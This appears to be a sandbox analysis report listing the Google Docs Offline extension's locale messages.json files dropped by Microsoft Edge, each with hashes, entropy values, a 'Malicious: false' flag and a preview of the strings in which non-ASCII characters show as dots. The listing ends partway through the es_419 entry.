......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
